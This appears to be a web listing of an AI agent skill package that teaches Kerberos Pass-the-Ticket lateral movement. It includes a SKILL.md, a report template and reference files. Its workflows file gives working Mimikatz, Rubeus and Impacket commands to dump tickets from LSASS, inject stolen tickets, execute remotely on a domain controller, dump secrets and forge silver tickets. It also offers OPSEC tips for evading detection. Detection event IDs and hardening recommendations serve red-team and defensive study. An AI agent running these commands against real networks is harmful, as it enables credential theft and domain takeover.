What it does. Perform Pass-the-Ticket (PtT) lateral movement by extracting Kerberos TGT/TGS tickets from LSASS memory on a compromised host and injecting them into another session to impersonate the ticket owner without knowing their password. Use during authorized post-exploitation to move laterally or escalate access via stolen Kerberos tickets, or to validate detections for Kerberos ticket theft and reuse. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-pass-the-ticket-attack, or copy the skill folder into ~/.claude/skills/conducting-pass-the-ticket-attack/.
- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/SKILL.md
SKILL.md (verbatim)
name: conducting-pass-the-ticket-attack
description: Perform Pass-the-Ticket (PtT) lateral movement by extracting Kerberos TGT/TGS tickets from LSASS memory on a compromised host and injecting them into another session to impersonate the ticket owner without knowing their password. Use during authorized post-exploitation to move laterally or escalate access via stolen Kerberos tickets, or to validate detections for Kerberos ticket theft and reuse.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- adversary-simulation
- mitre-attack
- exploitation
- post-exploitation
- kerberos
- pass-the-ticket
- lateral-movement
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Token Binding
- Execution Isolation
- Restore Access
- Application Protocol Command Analysis
- Process Termination
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1550.003
- T1558.003
- T1078
Conducting Pass-the-Ticket Attack
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user.
When to Use
- When conducting security assessments that involve conducting pass the ticket attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
MITRE ATT&CK Mapping
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1003.001 - OS Credential Dumping: LSASS Memory
- T1558 - Steal or Forge Kerberos Tickets
- T1021.002 - Remote Services: SMB/Windows Admin Shares
Workflow
- Gain local admin access on target workstation
- Dump Kerberos tickets from LSASS memory using Mimikatz or Rubeus
- Export tickets in .kirbi format (Mimikatz) or base64 (Rubeus)
- Identify high-value tickets (Domain Admin TGTs, service tickets to critical systems)
Phase 2: Ticket Injection
- Purge existing Kerberos tickets from attacker session
- Import/inject stolen ticket into current session
- Verify ticket is loaded and valid
- Access target resources using injected ticket
Phase 3: Lateral Movement
- Access remote systems using the stolen ticket identity
- Perform actions as the impersonated user
- Collect additional credentials from accessed systems
- Document evidence of successful lateral movement
| Tool |
Purpose |
Command |
| Mimikatz |
Ticket export/import |
sekurlsa::tickets /export, kerberos::ptt |
| Rubeus |
Ticket dumping and injection |
dump, ptt, tgtdeleg |
| Impacket ticketConverter |
Convert between formats |
ticketConverter.py ticket.kirbi ticket.ccache |
| Impacket psexec/smbexec |
Remote execution with ticket |
KRB5CCNAME=ticket.ccache psexec.py |
Detection Indicators
- Event ID 4768 with unusual client addresses
- Event ID 4769 service ticket requests from unexpected hosts
- TGT usage from different IP than the TGT was issued to
- Multiple authentications from same ticket across different workstations
Validation Criteria
Other files in this skill
assets/template.md (verbatim)
Pass-the-Ticket Attack Report Template
Document Control
| Field |
Value |
| Domain |
[DOMAIN.LOCAL] |
| Engagement ID |
[ID] |
| Date |
[DATE] |
| Source Host |
Method |
Tickets Found |
High-Value |
|
Mimikatz/Rubeus |
|
|
2. Ticket Details
| User |
Type |
Service |
Expiry |
Encryption |
|
TGT/TGS |
krbtgt/cifs |
|
RC4/AES |
3. Lateral Movement Results
| Target |
Access |
Method |
Evidence |
|
Admin/User |
PsExec/SMB |
Screenshot |
4. Recommendations
- Enable Credential Guard
- Implement Protected Users group
- Enable LSASS RunAsPPL protection
- Monitor Event ID 4769 anomalies
- Reduce TGT lifetime for admin accounts
MITRE ATT&CK
- T1550.003 - Pass the Ticket
- T1003.001 - LSASS Memory
references/api-reference.md (verbatim)
Pass-the-Ticket Detection — API Reference
Libraries
| Library |
Install |
Purpose |
| impacket |
pip install impacket |
Kerberos ticket manipulation (ticketer.py, getST.py) |
| ldap3 |
pip install ldap3 |
AD LDAP queries for SPN and account enumeration |
| pySigma |
pip install pySigma |
Sigma rule parsing and conversion |
Key Windows Event IDs
| Event ID |
Description |
Relevance |
| 4768 |
Kerberos TGT request |
Golden ticket detection (RC4 = 0x17) |
| 4769 |
Kerberos service ticket request |
Silver ticket / Kerberoasting |
| 4770 |
Kerberos service ticket renewed |
Ticket reuse indicator |
| 4771 |
Kerberos pre-auth failed |
Password spray detection |
| 4624 |
Successful logon |
Correlate with ticket usage |
Encryption Type Constants
| Value |
Algorithm |
Concern |
| 0x17 |
RC4-HMAC |
Downgrade attack indicator |
| 0x12 |
AES-256 |
Expected modern encryption |
| 0x11 |
AES-128 |
Acceptable encryption |
MITRE ATT&CK Mapping
| Technique |
ID |
| Use Alternate Authentication Material: Pass the Ticket |
T1550.003 |
| Steal or Forge Kerberos Tickets: Golden Ticket |
T1558.001 |
| Steal or Forge Kerberos Tickets: Silver Ticket |
T1558.002 |
External References
references/standards.md (verbatim)
Standards and Framework References
MITRE ATT&CK
| Technique ID |
Name |
Tactic |
| T1550.003 |
Use Alternate Authentication Material: Pass the Ticket |
Lateral Movement |
| T1003.001 |
OS Credential Dumping: LSASS Memory |
Credential Access |
| T1558 |
Steal or Forge Kerberos Tickets |
Credential Access |
| T1021.002 |
Remote Services: SMB/Windows Admin Shares |
Lateral Movement |
Kerberos Ticket Types
| Ticket |
Purpose |
Lifetime |
Encryption |
| TGT (Ticket Granting Ticket) |
Authenticates to KDC for TGS requests |
10 hours default |
krbtgt NTLM hash |
| TGS (Ticket Granting Service) |
Authenticates to specific service |
10 hours default |
Service account hash |
Detection - Windows Event IDs
| Event ID |
Description |
PtT Indicator |
| 4768 |
TGT Request |
Unusual source IP for known user |
| 4769 |
TGS Request |
Service access from unexpected host |
| 4770 |
TGT Renewal |
Renewal from different IP than original |
| 4771 |
Kerberos Pre-Auth Failed |
May indicate ticket reuse attempts |
NIST SP 800-171
- 3.5.1: Identify system users, processes acting on behalf of users
- 3.5.2: Authenticate identities before allowing access
- 3.1.1: Limit system access to authorized users
CIS Controls
- Control 6: Access Control Management
- Control 8: Audit Log Management - Monitor Kerberos authentication events
references/workflows.md (verbatim)
Pass-the-Ticket Attack Workflows
Workflow 1: Mimikatz Ticket Extraction and Injection
Step 1: Export Tickets from LSASS
# Dump all Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# List exported .kirbi files
dir *.kirbi
# Identify high-value tickets (Domain Admin TGTs)
# Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi
Step 2: Inject Ticket into Session
# Purge existing tickets
mimikatz.exe "kerberos::purge" "exit"
# Or with klist
klist purge
# Import stolen ticket
mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit"
# Verify ticket is loaded
klist
Step 3: Access Resources
# Access file shares as impersonated user
dir \\dc01.domain.local\c$
# Execute commands remotely
PsExec.exe \\dc01.domain.local cmd.exe
# Access admin shares
copy payload.exe \\dc01.domain.local\c$\windows\temp\
Workflow 2: Rubeus Ticket Operations
Dump and Inject
# Dump all tickets (requires local admin)
.\Rubeus.exe dump
# Dump tickets for specific LUID
.\Rubeus.exe dump /luid:0x3e4
# Extract TGT for current user (no admin required)
.\Rubeus.exe tgtdeleg
# Inject ticket from base64
.\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket...
# Create sacrificial process with ticket
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket
Workflow 3: Linux-Based Pass-the-Ticket (Impacket)
Convert and Use Tickets
# Convert .kirbi to .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# Set environment variable for ticket
export KRB5CCNAME=ticket.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local
# List accessible shares
impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local
Workflow 4: Silver Ticket (Forged TGS)
# Create silver ticket with Mimikatz (requires service account NTLM hash)
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit"
# Create silver ticket with Rubeus
.\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt
OPSEC Considerations
- Stolen tickets have limited lifetime (default 10 hours for TGT)
- TGT reuse from different IP may trigger advanced detection
- Silver tickets bypass the KDC entirely - harder to detect
- Use createnetonly in Rubeus to avoid overwriting legitimate tickets
- Monitor for credential guard which protects Kerberos tickets
- Be aware that some EDR solutions monitor ticket injection
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.